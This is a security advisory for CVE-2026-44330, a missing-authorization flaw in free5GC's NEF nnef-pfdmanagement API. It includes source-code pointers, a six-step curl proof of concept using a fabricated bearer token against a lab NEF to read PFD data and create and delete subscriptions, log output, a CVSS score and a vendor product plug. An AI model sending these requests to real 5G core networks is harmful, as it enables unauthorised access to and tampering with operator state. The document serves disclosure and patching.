free5GC's NEF nnef-pfdmanagement API is unauthenticated; forged bearer tokens can read PFD data and create/delete PFD subscriptions
free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{appID}, and to create or delete PFD change-notification subscriptions via POST /subscriptions and DELETE /subscriptions/{subID}. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, nnef-pfdmanagement IS declared in the runtime ServiceList, so this is the production-intended path that operators expect to be protected by OAuth2 setting receive from NRF: true -- and it is not.
Validated against the NEF container in the official Docker compose lab.
v4.2.1free5gc/nef:v4.2.05ce35eabNEF advertises OAuth2 setting receive from NRF: true, but the entire nnef-pfdmanagement route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state.
Code evidence (paths in free5gc/nef):
NFs/nef/internal/sbi/server.go:56/applications and /applications/:appID: NFs/nef/internal/sbi/api_pfdf.go:13/subscriptions and /subscriptions/:subID: NFs/nef/internal/sbi/api_pfdf.go:13GET /applications queries UDR for application PFD data: NFs/nef/internal/sbi/processor/pfdf.go:19GET /applications/:appID queries UDR for an application PFD: NFs/nef/internal/sbi/processor/pfdf.go:53POST /subscriptions only checks notifyUri is present, then stores the subscription: NFs/nef/internal/sbi/processor/pfdf.go:83DELETE /subscriptions/:subID removes the subscription: NFs/nef/internal/sbi/processor/pfdf.go:110GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
1. Seed an AF context (also forged-token):
```
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions
```
2. Seed one PFD application entry (also forged-token):
```
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions
```
3. READ PFD collection with forged token -> 200 OK returns PFD data:
```
curl -i -H 'Authorization: Bearer not-a-real-token' \
'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311'
```
4. READ individual PFD with forged token -> 200 OK:
```
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311
```
5. CREATE PFD subscription with forged token -> 201 Created:
```
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions
```
6. DELETE PFD subscription with forged token -> 204 No Content:
```
curl -i -X DELETE \
-H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1
```
NEF container logs (docker logs nef) show requests reaching business handlers and returning success codes:
```
[INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=...
[INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311]
[INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/...
[INFO][NEF
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
CVE-2026-44330 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.
CVE-2026-44330 is recorded against 2 packages.
Published on 27 May 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.
free5gc has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-863: Incorrect Authorization) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| free5gc | — | 4.2.2 |
| github.com/free5gc/nef | — | — |
References
Similar Threats
Exploit Protection
CVE-2026-44330 carries CVSS 10.0 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
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